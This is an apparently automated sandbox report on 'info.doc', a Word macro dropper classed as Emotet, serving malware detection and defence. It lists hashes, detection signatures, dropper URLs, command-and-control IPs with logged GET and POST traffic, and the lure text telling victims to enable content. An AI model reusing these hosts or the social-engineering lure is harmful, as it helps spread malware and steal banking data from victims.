Analysis Report info.doc

Overview

General Information

Sample Name: info.doc
Analysis ID: 337044
MD5: 407e5e05f725d0443a0a6d0d3db22e1f
SHA1: db34ce7024b5320991b464fa08cfb1d7d9a70d75
SHA256: 174649f1b3e64a89faba9684bd2a160f7785b56449193c9dc412e2ac9672b1ca

Most interesting Screenshot:

Detection

Emotet
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Document contains an embedded VBA with many randomly named variables
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: http://www.achutamanasa.com/garmin-pro-fei8o/mW/ Avira URL Cloud: Label: malware
Source: http://www.removepctrojan.com/wp-admin/ak0chH/ Avira URL Cloud: Label: malware
Source: http://johnloveskim.com/a/Tff/ Avira URL Cloud: Label: malware
Source: http://theprajinshee.com/otherfiles/wAFP/ Avira URL Cloud: Label: malware
Source: http://geoffoglemusic.com/wp-admin/7C11oAC/ Avira URL Cloud: Label: malware
Source: http://www.geosrt.com/aqqhwdap/l0/ Avira URL Cloud: Label: malware
Source: http://fmcav.com/images/7FV4Nd/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for dropped file
Source: C:\Users\user\Xts_nmf\P4188qk\U95D.dll Metadefender: Detection: 66% Perma Link
Source: C:\Users\user\Xts_nmf\P4188qk\U95D.dll ReversingLabs: Detection: 82%
Multi AV Scanner detection for submitted file
Source: info.doc Virustotal: Detection: 64% Perma Link
Source: info.doc Metadefender: Detection: 41% Perma Link
Source: info.doc ReversingLabs: Detection: 79%
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
Source: Binary string: B:\cliprgn_src\Release\ClipRgn.pdb source: rundll32.exe, 00000007.00000002.2092170469.0000000010042000.00000002.00020000.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2087428444.00000000027C0000.00000002.00000001.sdmp
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100272AB FindFirstFileExW,FindNextFileW,FindClose, 7_2_100272AB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10026EEF FindFirstFileExW, 7_2_10026EEF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_100272AB FindFirstFileExW,FindNextFileW,FindClose, 8_2_100272AB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10026EEF FindFirstFileExW, 8_2_10026EEF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: fmcav.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 35.208.84.24:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 35.208.84.24:80

Networking:

barindex
Potential dropper URLs found in powershell memory
Source: powershell.exe, 00000005.00000002.2090329865.0000000003783000.00000004.00000001.sdmp String found in memory: http://fmcav.com/images/7FV4Nd/
Source: powershell.exe, 00000005.00000002.2090329865.0000000003783000.00000004.00000001.sdmp String found in memory: http://theprajinshee.com/otherfiles/wAFP/
Source: powershell.exe, 00000005.00000002.2090329865.0000000003783000.00000004.00000001.sdmp String found in memory: http://www.removepctrojan.com/wp-admin/ak0chH/
Source: powershell.exe, 00000005.00000002.2090329865.0000000003783000.00000004.00000001.sdmp String found in memory: http://www.geosrt.com/aqqhwdap/l0/
Source: powershell.exe, 00000005.00000002.2090329865.0000000003783000.00000004.00000001.sdmp String found in memory: http://geoffoglemusic.com/wp-admin/7C11oAC/
Source: powershell.exe, 00000005.00000002.2090329865.0000000003783000.00000004.00000001.sdmp String found in memory: http://www.achutamanasa.com/garmin-pro-fei8o/mW/
Source: powershell.exe, 00000005.00000002.2090329865.0000000003783000.00000004.00000001.sdmp String found in memory: http://johnloveskim.com/a/Tff/
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 138.197.99.250:8080
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /images/7FV4Nd/ HTTP/1.1Host: fmcav.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 152.170.79.100 152.170.79.100
Source: Joe Sandbox View IP Address: 190.247.139.101 190.247.139.101
Source: Joe Sandbox View IP Address: 35.208.84.24 35.208.84.24
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TelecomArgentinaSAAR TelecomArgentinaSAAR
Source: Joe Sandbox View ASN Name: TelecomArgentinaSAAR TelecomArgentinaSAAR
Source: Joe Sandbox View ASN Name: GOOGLE-2US GOOGLE-2US
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /ms1mi/fn90mfko2oaz05ju8/jnqglo5fbrsmznurm/tiqz1milsrtd34u5/r0vm4ksa/2tfuy/ HTTP/1.1DNT: 0Referer: 138.197.99.250/ms1mi/fn90mfko2oaz05ju8/jnqglo5fbrsmznurm/tiqz1milsrtd34u5/r0vm4ksa/2tfuy/Content-Type: multipart/form-data; boundary=---------FpCBZIWdYUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 138.197.99.250:8080Content-Length: 6212Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown TCP traffic detected without corresponding DNS query: 190.247.139.101
Source: unknown TCP traffic detected without corresponding DNS query: 190.247.139.101
Source: unknown TCP traffic detected without corresponding DNS query: 190.247.139.101
Source: unknown TCP traffic detected without corresponding DNS query: 190.247.139.101
Source: unknown TCP traffic detected without corresponding DNS query: 190.247.139.101
Source: unknown TCP traffic detected without corresponding DNS query: 190.247.139.101
Source: unknown TCP traffic detected without corresponding DNS query: 138.197.99.250
Source: unknown TCP traffic detected without corresponding DNS query: 138.197.99.250
Source: unknown TCP traffic detected without corresponding DNS query: 138.197.99.250
Source: unknown TCP traffic detected without corresponding DNS query: 138.197.99.250
Source: unknown TCP traffic detected without corresponding DNS query: 138.197.99.250
Source: unknown TCP traffic detected without corresponding DNS query: 138.197.99.250
Source: unknown TCP traffic detected without corresponding DNS query: 138.197.99.250
Source: unknown TCP traffic detected without corresponding DNS query: 138.197.99.250
Source: unknown TCP traffic detected without corresponding DNS query: 138.197.99.250
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{55694A94-8E09-401E-A760-1A1C7B299BE3}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /images/7FV4Nd/ HTTP/1.1Host: fmcav.comConnection: Keep-Alive
Source: rundll32.exe, 00000006.00000002.2092665463.0000000001C20000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2088415862.00000000022F0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2090380702.0000000000A90000.00000002.00000001.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: unknown DNS traffic detected: queries for: fmcav.com
Source: unknown HTTP traffic detected: POST /ms1mi/fn90mfko2oaz05ju8/jnqglo5fbrsmznurm/tiqz1milsrtd34u5/r0vm4ksa/2tfuy/ HTTP/1.1DNT: 0Referer: 138.197.99.250/ms1mi/fn90mfko2oaz05ju8/jnqglo5fbrsmznurm/tiqz1milsrtd34u5/r0vm4ksa/2tfuy/Content-Type: multipart/form-data; boundary=---------FpCBZIWdYUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 138.197.99.250:8080Content-Length: 6212Connection: Keep-AliveCache-Control: no-cache
Source: rundll32.exe, 00000007.00000002.2089458092.00000000026D0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2091033751.0000000002480000.00000002.00000001.sdmp String found in binary or memory: http://computername/printers/printername/.printer
Source: powershell.exe, 00000005.00000002.2090833742.0000000003AD6000.00000004.00000001.sdmp String found in binary or memory: http://fmcav.com
Source: powershell.exe, 00000005.00000002.2090329865.0000000003783000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2092190352.000000001B66E000.00000004.00000001.sdmp String found in binary or memory: http://fmcav.com/images/7FV4Nd/
Source: powershell.exe, 00000005.00000002.2090329865.0000000003783000.00000004.00000001.sdmp String found in binary or memory: http://geoffoglemusic.com/wp-admin/7C11oAC/
Source: rundll32.exe, 00000006.00000002.2092665463.0000000001C20000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2088415862.00000000022F0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2090380702.0000000000A90000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000006.00000002.2092665463.0000000001C20000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2088415862.00000000022F0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2090380702.0000000000A90000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com/
Source: powershell.exe, 00000005.00000002.2090329865.0000000003783000.00000004.00000001.sdmp String found in binary or memory: http://johnloveskim.com/a/Tff/
Source: rundll32.exe, 00000006.00000002.2093620140.0000000001E07000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2088789358.00000000024D7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2090623765.0000000000C77000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000006.00000002.2093620140.0000000001E07000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2088789358.00000000024D7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2090623765.0000000000C77000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000005.00000002.2086615597.0000000002300000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2091080773.0000000002D80000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2093148510.0000000002C80000.00000002.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000006.00000002.2093620140.0000000001E07000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2088789358.00000000024D7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2090623765.0000000000C77000.00000002.00000001.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: powershell.exe, 00000005.00000002.2090329865.0000000003783000.00000004.00000001.sdmp String found in binary or memory: http://theprajinshee.com/otherfiles/wAFP/
Source: rundll32.exe, 00000007.00000002.2089458092.00000000026D0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2091033751.0000000002480000.00000002.00000001.sdmp String found in binary or memory: http://treyresearch.net
Source: rundll32.exe, 00000007.00000002.2089458092.00000000026D0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2091033751.0000000002480000.00000002.00000001.sdmp String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: rundll32.exe, 00000006.00000002.2093620140.0000000001E07000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2088789358.00000000024D7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2090623765.0000000000C77000.00000002.00000001.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000005.00000002.2086615597.0000000002300000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2091080773.0000000002D80000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2093148510.0000000002C80000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA
Source: powershell.exe, 00000005.00000002.2090329865.0000000003783000.00000004.00000001.sdmp String found in binary or memory: http://www.achutamanasa.com/garmin-pro-fei8o/mW/
Source: rundll32.exe, 00000007.00000002.2089458092.00000000026D0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2091033751.0000000002480000.00000002.00000001.sdmp String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: powershell.exe, 00000005.00000002.2090329865.0000000003783000.00000004.00000001.sdmp String found in binary or memory: http://www.geosrt.com/aqqhwdap/l0/
Source: rundll32.exe, 00000006.00000002.2092665463.0000000001C20000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2088415862.00000000022F0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2090380702.0000000000A90000.00000002.00000001.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000006.00000002.2093620140.0000000001E07000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2088789358.00000000024D7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2090623765.0000000000C77000.00000002.00000001.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000007.00000002.2089458092.00000000026D0000.00000002.00000001.sdmp String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: rundll32.exe, 00000006.00000002.2092665463.0000000001C20000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2088415862.00000000022F0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2090380702.0000000000A90000.00000002.00000001.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 00000005.00000002.2090329865.0000000003783000.00000004.00000001.sdmp String found in binary or memory: http://www.removepctrojan.com/wp-admin/ak0chH/
Source: rundll32.exe, 00000008.00000002.2090380702.0000000000A90000.00000002.00000001.sdmp String found in binary or memory: http://www.windows.com/pctv.

E-Banking Fraud:

barindex
Yara detected Emotet
Source: Yara match File source: 0000000C.00000002.2095952053.00000000001B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2107348022.0000000000691000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2087899639.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2095884659.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2089448478.0000000000160000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2101888822.0000000000301000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2091105299.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2089495530.0000000000181000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2107314831.0000000000670000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2101676455.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2097335111.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2103601856.0000000000130000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2095271889.00000000002C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2109173183.0000000000240000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2100125404.0000000000210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2087918184.0000000000201000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2337393859.0000000000301000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2091148217.00000000001C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2109198053.0000000000261000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2099058113.0000000000391000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2095249206.00000000002A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2103660076.0000000000151000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2337362227.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2098697585.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2092936438.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2100172117.0000000000271000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2097402342.00000000001C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2092986854.0000000000251000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 17.2.rundll32.exe.130000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.250000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.1b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.240000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.670000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.150000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.180000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.670000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.270000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.rundll32.exe.300000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.390000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.260000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.300000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.210000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.690000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 0 Page: 1 of 1 , Word
Source: Screenshot number: 4 Screenshot OCR: DOCUMENT IS PROTECTED. I Previewing is not available for protected documents. You have to press "E
Source: Screenshot number: 4 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 4 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 0 Page: 1 of 1 , Words:O I ,3 I N@m 13 ;a
Source: Screenshot number: 8 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. O a
Source: Screenshot number: 8 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Screenshot number: 8 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 8 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. O a
Source: Document image extraction number: 0 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 1 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 1 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Xts_nmf\P4188qk\U95D.dll Jump to dropped file
Very long command line found
Source: unknown Process created: Commandline size = 5633
Source: unknown Process created: Commandline size = 5537
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 5537 Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Creates files inside the system directory
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Sfwveevpdqixuom\ Jump to behavior
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001D0AC 7_2_1001D0AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1003B353 7_2_1003B353
